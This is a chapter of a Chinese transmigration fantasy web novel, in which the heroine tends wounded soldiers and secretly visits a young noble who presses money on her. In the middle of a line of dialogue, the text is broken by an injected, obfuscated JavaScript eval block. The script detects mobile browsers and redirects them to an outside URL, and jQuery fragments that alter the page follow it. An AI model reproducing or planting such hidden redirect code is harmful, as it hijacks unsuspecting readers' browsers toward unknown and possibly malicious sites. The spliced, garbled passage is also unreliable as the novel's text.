15. 你就这么缺钱?

作品:《[穿书]男主失恋了,对象不是我

    从来没经历过血腥刺激场面的白月歌,带着外伤回了龙崖。


    有些联兵被瘴气污染得十分严重,外伤也惨不忍睹。


    仅仅让天阶地阶的木灵君来为他们驱散医治,就算能活命,以后也会因失去印灵痛苦难忍。


    白月歌在系统的OOC威胁下,咬牙忍了左肩上的穿刺伤,依旧仪态优雅,机械地一遍遍在联兵们的印灵领域驱散污染。


    虽然行云流水的动作让人看不出一丁点疲惫,但实际上,白月歌是有些撑不住了,心里就难免有些烦躁。


    此前在混战中,那个因她出手射杀妖兽才活下来的年轻联兵,在之后的撤退里越战越勇,但因为太过尽职尽责。难免又受了重伤。


    白月歌在给他医治的时候,发现这年轻小子直勾勾盯着自己肩头的血洞,令她感到些许尴尬。


    和秦南徵的扭捏不同,这小子脱下上衣,裸着健硕的上半身,将长着印灵的左臂主动伸到白月歌眼前。


    他的印灵,是一只红嘴蓝背,身后拖着黑白相间尾羽的鸟,水墨蓝的翅膀展开时,像极了文人墨客的折扇。


    白月歌觉得漂亮,就多看了一眼,那鸟儿就张开双翅,疯狂向她展示自己的美丽。


    “我的青鸟印灵很活泼可爱吧!”


    “……”


    快停下,再going她会忍不住想上手rua的!


    “夫人先处理自己的伤口吧!我还扛得住!”


    白月歌按照人设,漠视了他的关切。


    她掌心克制地按在他左臂的青鸟印灵上。领域相通的一瞬间,白月歌迅速操控手中的忍冬印灵,藤蔓和花丝肆虐般的清扫其中的瘴气,将领域内那只贴着花丝飞来飞去的碍事青鸟驱赶到了角落里。


    驱散一结束,这小子就扶着剑亦步亦趋跟在白月歌身后,一边看她替别的联兵同袍驱散领域内的瘴气,一边同她讲话。


    “我叫秦青商。今日有幸和圣阶灵君同战。”


    白月歌为了维持守礼又温柔的人设,耐心地恭维他清剿妖兽时很勇武。


    这却让秦青商的话匣子开得更大:“我之前在青翼营待命,没少听前辈们讲你的事迹!”


    白月歌手下动作不停,忍冬藤蔓风卷残云般,解决掉一个个联兵身上的瘴气污染。


    秦青商围观全程后,还在她身后喃喃自语:


    “以前看小哑巴做驱散,都是温吞吞地,不像你刷——得就完成了。”


    听到小哑巴这熟悉的名字,白月歌手下动作停滞,看向了帐内也在为受伤联兵医治的小哑巴。


    在姜菜庄的那场酣战,作为刚突破了地阶的木灵君,小哑巴也赫然在列。


    但听秦青商的语气,他和小哑巴貌似很熟稔。


    白月歌虽有些诧异,却也忍着没去问。


    可秦青商从不会让话掉地上,自顾自地继续说:“不过也是,小哑巴还没突破天阶……所以圣阶木灵君的驱散都是这么利落潇洒吗!”


    白月歌没再给他任何回应,开始将印灵延伸到掌心外的灵体收回,适逢白厢和白荣相携着从帐外进来。


    “女郎,外面也结束了。”


    白月歌点头,陷入沉思。


    她思索的时候总会不自觉地两手相握。当手心接触到小指上散发着滚烫热意的锁灵戒时,她想起了自己昨夜同秦南徵说过的约定。


    白月歌瞥了眼正低头认真医治外伤的小哑巴,做下最后的决定。


    “白厢,你留在这里帮小哑巴守夜。”


    话音刚落,不远处的小哑巴闻言,慌乱起身向她鞠了一躬。


    *


    将白厢和小哑巴这两个有可能阻碍自己的人支开。


    白月歌用攒下的灵力替自己简单处理了下伤口,就趁着夜色溜进了泽鹿苑。


    一推开门,迎面而来的热气将她身上的寒意融化。


    秦南徵显然将她的话记在了心上,让炭盆一直燃着。


    白月歌左肩上带着还未愈合的伤,在动作上难免有些滞涩。


    “你受伤了?”


    “被妖兽的喙伤了,没什么大碍。”


    白月歌觉得这没什么好隐瞒的,毕竟他又不会离开泽鹿苑,更不会知道自己长嫂的伤口也在左肩。


    “妖兽?”秦南徵今日被人抬着去东石台,自然猜出发生了什么,“你随联兵到姜菜庄去了?”


    白月歌点头,为了增添真实性,她装作自己是个为生活所迫的小卒子:“唉,也是没办法。我家里孩子多,过得紧张。他们又给得实在是多。”


    白月歌一直遮着脸,洗髓散掩饰下的身材又很矮,这让秦南徵以为她是个同自己年纪差不多的少女,完全没想料到她居然已经成家当了娘。


    他转身从床边的暗格里摸出两块上品灵石,塞到了白月歌的手里。


    “拿着。


    “别别别。”


    “以后卖命的钱少去赚,小孩子不能没有娘。”


    “……”白月歌掂着被塞进手里的灵石,罕见地心虚了。


    行吧,以后就走苦情人设吧。


    “非是我就缺那点卖命钱……凡地阶以上的灵君,都被夫人点了名。”


    秦南徵一听到白月歌被提起,嗤笑一声:“所有地阶以上?那妖兽被解决了么?”


    白月歌摇头。


    秦南徵很是看不上他们这次清剿妖兽的行动:“几十个人,还解决不掉域内不成气候的妖兽?白月歌被青翼营的人吹上了天,其实不过是个花瓶。”


    “只夫人这一个圣阶,还是木灵君。妖兽太多,我们杀之不尽……”白月歌尽量渲染妖兽的可怕。


    秦南徵选择性不听:“也是,她那么爱惜羽毛,才不会为了小卒子去跟妖兽拼命。”


    白月歌:“……”


    被人当面骂了,她再也忍不住,打断了他:


    “其实这次……夫人她身先士卒,一直在尽力救人。”


    不同于前几次露出身体的腼腆,秦南徵恨恨地扯下了外衫:“呵——”


    “一个被窝睡不出两种人,她跟秦东羽都不是好东西。”


    前一句白月歌承认。


    林软软和秦东羽就是一个被窝的烂人。


    秦南徵:“老女人佛口蛇心,惯会装样子,你千万别被她迷惑了。”


    在背后正摸彩蛋的白月歌,因为这句老女人,瞬间拳头梆硬。


    她简直想在身后锤爆他的狗头!


    却听这小子又给了她一句忠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054768|162781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    告。


    “你没淌过大家族里面的浑水,太单纯好骗了。听我的,以后见了她,能躲多远,就躲多远。”


    “那你人还怪好嘞!”白月歌撇嘴,懒得继续跟他抬杠。


    她摸向了秦南徵的后腰,在系统的提示音中,完成了今日的彩蛋触发。


    秦南徵感觉到她手指停下了检查的动作:“可还有余毒?”


    怀有私心的白月歌立刻否认。


    “我倒感觉已经全好了。”秦南徵摸了摸颈侧那只爱吐人口水的重明鸟。


    那鸟精神抖擞,眼睛瞪得像铜铃。


    “印灵倒是没问题,但稳妥起见,我还得多来几次,”白月歌不得不为自己之后的任务铺路。


    今天任务完成的很顺利,她准备挎着药囊溜之大吉时,动作间却牵动了肩头的伤口,“嘶——”


    血又渗出了些,在黑色的夜行衣上留下深色的痕迹。


    秦南徵瞳孔闪过一抹金光,自然看出了血迹:“灵君先顾着自己吧,晚几天也无妨。”


    “正要跟小郎君说——我恐怕近几日都抽不出身。”白月歌一口气没续上,又因洗髓散的作用,喉间又痒又痛,话没说完,就在遮面下剧烈咳嗽。


    秦南徵垂下的眼睫在面上影影错错,他皱眉的样子让白月歌看不出情绪。


    白月歌:“后日一早,我还要再随联兵去清剿妖兽。”


    “你还要去?”秦南徵不明白,“即便再是点了名,有伤在身也是可以告假不去的。”


    “钱比命还重要?你就这么缺钱?”


    白月歌很想告诉这个被金尊玉贵养大的少爷,对有些拼尽全力才能吃饱穿暖的人来说,是这样的。


    当然眼下并不能,将钱看得命重是她为任务假定的人设而已,没必要较真。


    秦南徵看她沉默,又默默从博古架后面摸出一大块上品灵石,丢给了她。


    白月歌看着流光溢彩的灵石,打算收回锤爆他狗头那句话。


    美强惨早期口嫌体正直的模样,还挺有反差萌。


    他不耐烦:“够你出一次任务了吧?听我的,告假别去。”


    这样的秦南徵,让白月歌不想再说谎。


    她摇了摇头。


    如果口头答应他不去,但最终却背着他去……


    若是在第二次清缴中不受伤还好,若是添了新伤,那她再见秦南徵时,还要想办法瞒着,甚至又要编造更多的谎言。


    那样不是办法。


    白月歌在秦南徵带着些许不解的目光下说:“不去会惹上麻烦的。”


    “这次情况很糟,否则那些家臣也不会自己打脸,一大早来请你。”


    “你希望……你们……”秦南徵的眼睛如黑暗中的火星,“我是说,你和二堂伯。希望我出手么?”


    白月歌摇头,她不知道。


    秦南徵枕着手臂,一言不发地躺在床榻上。


    白月歌见状,于静默中离开。


    可第三日,她根据系统发布的任务,带着联兵第二次清缴姜菜庄的妖兽不利,准备再次撤退时——


    根本没指望秦南徵会出现的白月歌,竟看到了握着陌刀的少年,神情冷漠又孤傲,只身自瘴气深处杀出了一条血路。